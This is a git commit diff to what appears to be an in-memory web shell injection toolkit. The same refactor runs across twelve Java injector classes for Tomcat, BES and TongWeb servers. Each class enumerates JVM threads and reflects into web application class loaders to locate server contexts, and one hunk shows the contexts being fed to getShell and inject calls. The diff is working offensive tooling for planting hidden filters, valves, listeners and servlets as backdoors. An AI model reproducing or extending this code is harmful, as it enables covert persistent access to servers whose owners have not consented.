refactor: simplify fetch context from spring

This commit is contained in:
ReaJason
2025-12-03 21:47:42 +08:00
parent 5136ccdfb3
commit 63731a3d6b
12 changed files with 126 additions and 37 deletions
@@ -83,6 +83,16 @@ public class BesFilterInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -64,8 +64,8 @@ public class BesListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -75,6 +75,16 @@ public class BesListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -74,6 +74,16 @@ public class BesValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -7,7 +7,9 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -82,10 +84,16 @@ public class TomcatFilterInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -73,10 +73,16 @@ public class TomcatListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -99,10 +99,16 @@ public class TomcatProxyValveInjector implements InvocationHandler {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -80,10 +80,16 @@ public class TomcatServletInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -73,10 +73,16 @@ public class TomcatValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -79,10 +79,16 @@ public class TomcatWebSocketInjector {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children"); HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") String name = thread.getContextClassLoader().getClass().getSimpleName();
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { if (name.matches(".+WebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -41,8 +41,8 @@ public class TongWebFilterInjector {
} }
if (contexts != null) { if (contexts != null) {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -91,9 +91,16 @@ public class TongWebFilterInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { String name = thread.getContextClassLoader().getClass().getSimpleName();
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
}catch (Exception ignored) { }catch (Exception ignored) {
@@ -74,9 +74,16 @@ public class TongWebListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { String name = thread.getContextClassLoader().getClass().getSimpleName();
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;
@@ -74,9 +74,16 @@ public class TongWebValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null } else if (thread.getContextClassLoader() != null) {
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { String name = thread.getContextClassLoader().getClass().getSimpleName();
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
} }
} }
return contexts; return contexts;